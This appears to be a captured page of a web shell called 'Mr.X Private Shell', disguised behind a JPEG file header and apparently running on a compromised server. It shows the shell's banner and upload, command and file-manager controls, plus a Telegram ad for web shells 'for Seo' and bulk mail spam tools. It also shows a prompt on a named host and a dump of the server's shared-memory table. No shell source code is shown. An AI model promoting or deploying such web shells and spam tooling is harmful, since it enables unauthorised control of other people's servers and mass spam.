����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0 1048772608  1600                303944 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137388                307200                     0
         0 1048772609  1600                325632 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137391                327680                     0
         0 1048772610  1600                347328 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137393                348160                     0
      5555          3   644                  1024  4665 1315711      0     0     0     0     0 1778659045 1778659045 1753600311                  4096                     0
         0 1048772612  1600                369016 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137395                372736                     0
         0 1048772613  1600                390704 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137397                393216                     0
         0 1048772614  1600                412400 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137399                413696                     0
         0 1048772615  1600                434096 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137401                434176                     0
         0 1048772616  1600                455784 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137403                458752                     0
         0 1048772617  1600                477472 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137405                479232                     0
         0 1048772618  1600                499168 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137407                499712                     0
         0 1048772619  1600                520856 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137409                524288                     0
         0 1048772620  1600                542544 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137412                544768                     0
         0 1048772621  1600                564240 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137414                565248                     0
         0 1048772622  1600                585936 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137416                589824                     0
         0 1048772623  1600                607632 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137418                610304                     0
         0 1048772624  1600                629336 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137420                630784                     0
         0 1048772625  1600                651040 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137422                651264                     0
         0 1048772626  1600                672744 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137424                675840                     0
         0 1048772627  1600                694432 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137426                696320                     0
         0 1048772628  1600                716128 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137429                716800                     0
         0 1048772631  1600                737816 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137435                741376                     0
         0 1048772632   600                759512 343077 30515      2   475   468   475   468 1778692156 1778692156 1778137437                761856                     0
         0 1073774618  1600                524288 20268 20268      2   955   951   955   951 1778692143 1778692143 1778692084                  8192                     0
         0 1073774619  1600                524288 21128 21138      1   522   518   522   518 1778692090 1778692103 1778692090                  8192                     0
         0 1073774620  1600                524288 24988 25003      1   522   518   522   518 1778692117 1778692130 1778692117                  8192                     0
         0 1073774621  1600                524288 26778 26792      1   522   518   522   518 1778692130 1778692145 1778692130                  8192                     0
         0 1073774622  1600                524288 29322 29334      1  2020  2014  2020  2014 1778692147 1778692159 1778692146                  8192                     0
         0 1073283111  1600                524288 1915048 1915048      5   522   518   522   518 1778692154 1778692154 1778682616                  8192                     0
         0 1048739888  1600                   576 343072 30515      6   475   468   475   468 1778692156 1778692156 1778137358                  4096                     0
         0 1048739889  1600               3285056 343072 30515      6   475   468   475   468 1778692156 1778692156 1778137358               3289088                     0
   5432001 1048739890   600                    56 343409 30952      6    26    26    26    26 1778692160 1778692160 1778137359                     0                  4096
         0 1048739891  1600                 21744 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137361                 24576                     0
         0 1048739892  1600                 43456 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137363                 45056                     0
         0 1048739893  1600                 65160 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137365                 65536                     0
         0 1048739894  1600                 86856 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137368                 90112                     0
         0 1048739895  1600                108560 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137370                110592                     0
         0 1048739896  1600                130312 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137372                131072                     0
         0 1048739897  1600                152008 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137374                155648                     0
         0 1048739898  1600                173712 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137376                176128                     0
         0 1048739899  1600                195408 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137378                196608                     0
         0 1048739900  1600                217112 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137380                221184                     0
         0 1048739901  1600                238816 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137382                241664                     0
         0 1048739902  1600                260544 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137384                262144                     0
         0 1048739903  1600                282240 343077 30515      1   475   468   475   468 1778692156 1778692156 1778137386                282624                     0
         0 1073643585  1400                169480 3146112 1162078      2   484   479     0     0 1778689953          0 1778689953                172032                     0

Filemanager

Name Type Size Permission Actions
msg File 0 B 0444
sem File 0 B 0444
shm File 0 B 0444